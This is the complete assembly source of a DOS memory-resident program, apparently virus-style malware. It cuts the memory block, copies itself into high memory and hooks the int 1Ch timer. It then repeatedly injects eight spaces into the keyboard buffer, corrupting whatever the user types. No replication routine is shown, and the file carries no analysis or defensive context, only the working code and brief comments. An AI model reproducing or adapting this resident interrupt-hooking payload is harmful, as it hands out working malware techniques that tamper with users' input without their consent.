		.radix 16
     code       segment
		model  small
		assume cs:code, ds:code, es:code

		org 100h

len             equ offset last - begin
vir_len         equ len / 16d 
		
begin:
		jmp     start
		db      'á.¥Œk†d‰M–$'
start:  
		mov     ax,cs                    ; reduce memory size     
		dec     ax                           
		mov     ds,ax                        
		cmp     byte ptr ds:[0000],5a        
		jne     abort                        
		mov     ax,ds:[0003]                 
		sub     ax,30                        
		mov     ds:0003,ax
Zopy_me:  
		mov     bx,ax                    ; copy to claimed block  
		mov     ax,es                        
		add     ax,bx                       
		mov     es,ax
		mov     cx,len                   
		mov     ax,ds                       
		inc     ax
		mov     ds,ax
		lea     si,ds:[begin]            
		lea     di,es:0100                  
		rep     movsb                       
						    
		mov     [vir_seg],es        
		mov     ax,cs                       
		mov     es,ax
Grab_1c:                                     
		cli
		mov     ax,351ch                   ; hook 1c
		int     21h                     
		mov     ds,[vir_seg]   
		mov     ds:[old_1ch],bx
		mov     ds:[old_1ch+2],es
		mov     dx,offset spaces
		mov     ax,251ch                
		int     21h                     
		sti                            
abort:
		int     20h
				    

spaces:         
		pushf                           ; call original 1c
		call    dword ptr cs:[old_1ch]
		push    ax                      ; save these
		push    bx
		push    cx
		mov     cl, [counter]
		inc     cx                      ; up counter
		cmp     cx, 006ah               ; have 6ah clicks happened?      
		jnz     bye
		mov     cl, [flag]              ; are we already doing something?
		cmp     cl, 01h
		jz      bye 
		mov     [flag], 01h             ; set the already doing flag
		mov     bx, 0008h               ; number o spaces
cunt:           mov     ah, 05h                 ; put characters in kbrd buffer
		mov     cx, 4520h               ; attribs of space
		int     16h                     ; do it
		dec     bx
		cmp     bx, 0000h               ; have we done all 8?
		jne     cunt
		mov     [flag], 00h             ; clear already doing flag
		mov     [counter], 00h          ; clear counter
		jmp     bye2
bye:            
		mov     [counter], cl           ; save new counter
bye2:           
		pop     cx                      ; restore stuff
		pop     bx
		pop     ax
		iret

old_1ch         dw  00h,00h
vir_seg         dw  ?
counter         db  00h          
flag            db  00h

last:           db  090h
code            ends
		end begin



